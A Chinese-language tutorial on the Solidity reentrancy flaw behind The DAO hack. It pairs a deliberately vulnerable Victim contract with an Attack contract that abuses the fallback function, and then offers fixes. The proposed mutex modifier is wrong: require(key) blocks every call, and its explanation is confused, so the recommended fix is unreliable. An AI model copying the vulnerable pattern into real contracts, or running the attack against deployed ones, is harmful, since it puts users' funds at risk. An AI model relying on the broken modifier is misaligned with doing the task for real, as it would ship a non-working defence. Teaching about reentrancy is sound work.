简介
当调用外部的合约时,外部合约会接管控制流程,从而可能给自己的数据带来意想不到的修改。2016年6月,以太坊最大众筹项目The DAO被攻击,黑客获得超过350万个以太币。正是由于此陷阱。
原因
调用外部合约,fallback回调函数被多次执行。
复现
很多都是老语法的address.call()
的语法了,还有fallback
函数,老版本是无名函数,现在已经有专门的fallback()
solidity中有三种可以触发fallback
函数的
- 当外部账户或其他合约向该合约地址发送Ether时,fallback函数会被调用。
- 当外部账户或其他合约向该合约地址发送Ether,但是内部没有fallback函数时,就会抛出异常,然后将以太币退还给发送方。
- 当外部账户或其他合约调用了一个该合约中不存在的函数时,fallback函数会被调用。
recipient.send() , recipient.call.value()
测试模拟
pragma solidity ^0.6.0;
contract Victim{ // 受害合约
mapping(address=>uint) public balances;
function deposit() public payable{
balances[msg.sender] += msg.value; // 先增加点余额
}
function testCall(uint _v) public{
require(balances[msg.sender] >= _v); // 判断余额是否大于这些,大于1 wei
(bool sent,) = msg.sender.call{value:1 wei}(""); // 只发送1wei
}
function getBalances() public view returns(uint _value){
return address(this).balance;
}
}
contract Attack{ // 攻击合约
Victim public _vi; // 创建一个受害者对象
constructor(address _VictimAddress) public{
_vi = Victim(_VictimAddress); // 受害者合约地址
}
function send() public payable{
require(msg.value >= 1 wei); // msg.value外部传参 自己必须有余额
// _vi.deposit(value: 1 wei)(); // 0.5.0的语法
_vi.deposit{value: 50 wei}(); // 0.6.0的语法, 这行代码是传过去钱, 就传50 wei
}
function attack() public payable{
_vi.testCall(1 wei); // 只给我们发送1 wei
}
function getBalances() public view returns(uint _value){
return address(this).balance;
}
// 然后触发callback函数,一直回调
// 当外部账户或其他合约向该合约地址发送Ether时,fallback函数会被调用
fallback() external payable{ // 回退函数的修饰符只能是external
// if(address(_vi).balance>=1 wei){
// _vi.testCall(1 wei); // 如果还有钱 就接着给我发
// }
}
}
https://youtu.be/KdP_i-7gRBU
主要是因为其他合约向该合约地址发送Ether时,fallback函数会被调用,然后回调函数里接着调用那个发钱的函数,所以导致一直发钱
漏洞修复
- 改成
transfer
(ool sent,) = msg.sender.call{value:1 wei}("");改成msg.sender.transfer(1 wei);
、
2. 上一个互斥锁,也就是锁定一个局部变量
bool internal key ;
modifier check(){
require(key,"gun");
key = true;
_;
key = false;
}
因为key 默认为false,require(false)会异常,然后!取反 不会异常,然后等_;
走完。key又为了false,然后就异常了